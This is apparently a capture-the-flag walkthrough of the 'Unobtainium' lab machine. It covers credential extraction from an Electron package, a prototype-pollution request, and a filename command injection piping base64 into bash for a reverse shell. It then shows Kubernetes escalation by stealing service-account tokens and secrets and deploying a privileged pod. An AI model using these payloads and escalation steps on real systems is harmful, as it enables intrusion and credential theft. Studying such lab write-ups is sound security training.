In this post, i would like to share a walkthrough of the Unobtainium Machine.


This room has been considered difficulty rated as a Hard machine

Summary of the Unobtainium machine


Before we start playing the machine, you need some knowledge of Kubernetes tools that we will use on this machine later. The article that i read before playing the machine can be found below:


During my time playing with the machine, i have some help from people around the world to root the machine.


Big shoutout to those names below:

  • @cre4k
  • @JD2111
  • @jabbascript
  • @0xb55a9
  • @Lich
  • @PinkGremlin
  • @cY83rR0H1t

Information Gathering


Once we have started the VPN connection, we can start the information gathering on the machine by executing the command nmap -sC -sV <IP Address> -PN 

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-11 06:34 EDT
Nmap scan report for 10.10.10.235
Host is up (0.26s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Sun, 11 Apr 2021 10:45:56 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Sun, 11 Apr 2021 10:45:53 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Sun, 11 Apr 2021 10:45:54 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-04-09T19:11:43
|_Not valid after:  2022-04-10T19:11:43
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
31337/tcp open  http          Node.js Express framework
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=4/11%Time=6072D0DB%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,1FF,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x203082aa7f
SF:-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c
SF:4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Sun,\x2011\x20Apr\x2020
SF:21\x2010:45:53\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Stat
SF:us\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"mes
SF:sage\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20ge
SF:t\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code
SF:\":403}\n")%r(HTTPOptions,203,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-C
SF:ontrol:\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\
SF:nX-Content-Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\
SF:x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Priorityleve
SF:l-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Sun,\x2011\x
SF:20Apr\x202021\x2010:45:54\x20GMT\r\nContent-Length:\x20189\r\n\r\n{\"ki
SF:nd\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fail
SF:ure\",\"message\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20c
SF:annot\x20options\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"deta
SF:ils\":{},\"code\":403}\n")%r(FourOhFourRequest,21A,"HTTP/1\.0\x20403\x2
SF:0Forbidden\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x
SF:20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Kubernete
SF:s-Pf-Flowschema-Uid:\x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kuber
SF:netes-Pf-Prioritylevel-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\n
SF:Date:\x20Sun,\x2011\x20Apr\x202021\x2010:45:56\x20GMT\r\nContent-Length
SF::\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\"
SF::{},\"status\":\"Failure\",\"message\":\"forbidden:\x20User\x20\\\"syst
SF:em:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice\x20ports,/Trinit
SF:y\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}
SF:\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.25 seconds

Let’s open the browser and straight into the website interface.

Enumerate and analyze the website


We need to download the repo on our machine which contains the username and password.


Once you have downloaded the .deb .rpm and .snap, you will need to investigate the folder and file carefully.

Analyze the source code


There are a lot of ways to get this username and password one of the methods is to unpack the package using npx asar extract unobtainium_1.0.0_amd64/opt/unobtainium/resources/app.asar tmp


However, i use a different approach to get the username and password which just use strings parameters which the command strings /unobtainium_1.0.0_amd64/opt/unobtainium/resources/app.asar | grep password


We managed to get the username(felamos) and password (Winter2021) as shown above


Based on my experience, there should have at least an upload directory on the website, but it depends on the developer too. When i try to open the URL unobtainium.htb:31337/upload, i notice there’s an error saying “Cannot GET /upload”


There are two ways to work around this which throughout Burpsuite or Curl


In my case, i choose the Curl command because it is easier for me.

Proto Pollution on Unobtainium Machine


You will have to run the following command such as below to get the reverse shell back to us:

curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/upload --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":true}'
curl --header "Content-Type: application/json" --request POST http://unobtainium.htb:31337/upload --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "& echo <base64 string>=|base64 -d|bash"}'

For the second curl command above, you might need to execute multiple times, but you will be able to get the shell back.

Obtaining the shell on the machine


Before running the second curl command, you will need to start the nc listener so that we can get the reverse shell connection back to us.


To get the user flag, you will need to access it from /root/ directory and cat user.txt to read what’s saved inside.

Escalate to Root Privileges Access on Unobtanium machine


Now, it comes to the hard part of the machine which i take around 3 days to fully understand the method.


You will require to install the Kubernetes-client tool into your Kali Linux Machine. We need to transfer the kubectl which normally locate at /usr/bin/ into our victim’s machine

Enumerate using kubectl tool


We need to use the python server on the attacker’s machine while wget http://<IP><PORT>/kubectl on the victim’s machine.


The kubectl can be found in /usr/bin directory on your attacker’s machine.


Once you managed to download it on your victim’s machine, you need to give permission to the file by executing the command chmod +x kubectl


For us to get the root flag, we need to enumerate a deeper


You will need to get the namespace of the container by executing the command ./kubectl get namespace


On the machine, we will be using only dev and kube-system


We managed to get three pods on the container by executing the command ./kubectl get pods -n dev

Exploiting using the kubect


After understanding the container, we can get the details on other devnode by running ./kubectl describe pod devnode-deployment-cd86fb5c-{anyid}


From the enumeration, i found that there’s an IP and port that we can escalate into that other pod.


We need to run the similar curl command just below

curl -X PUT -H 'Content-Type: application/json' http://<IP Address>:<PORT> --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":true}'
curl --header "Content-Type: application/json" --request POST http://<IP Address>:<PORT>  --data '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "& echo <base64 string>=|base64 -d|bash"}'

For the second curl command above, you might need to execute multiple times, but you will be able to get the shell back.


We got access to another container as shown above.


We can see the authentication that has been configured on another container by running the command ./kubectl –token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) –certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt auth can-i –list –namespace=kube-system


As a result, we can see what kind of permission is given within the container. For me, i would like to use secrets from c-admin-token-tfmp2 by executing the command kubectl –token <second container token> -n kube-system get secrets


We can get the c-admin-token-tfmp2 token by running the command ./kubectl –token <second container token> -n kube-system describe secrets c-admin-token-tfmp2


On your attacker’s machine, you need to create the pod.yaml(you can put any name such as abc.yaml) as shown above or you can take the code from GitHub – BishopFox/badPods: A collection of manifests that will create pods with elevated privileges.


Besides that, we should be given permission to <anyname>.yaml such as chmod +x <anyname>.yaml


To get again reverse shell back, we need to execute those command ./kubetl apply -f ./pod.yaml –token <c-admin2-token-tfmp2)


We should be able to get back the reverse shell connection back to us. However, you need to get the root flag because the connection will be disabled by itself.


We managed to get root privileges.


As usual, we can get the root flag by accessing the /root/ directory and read the flag by running the command “cat root.txt”

The End


Happy Learning Guys!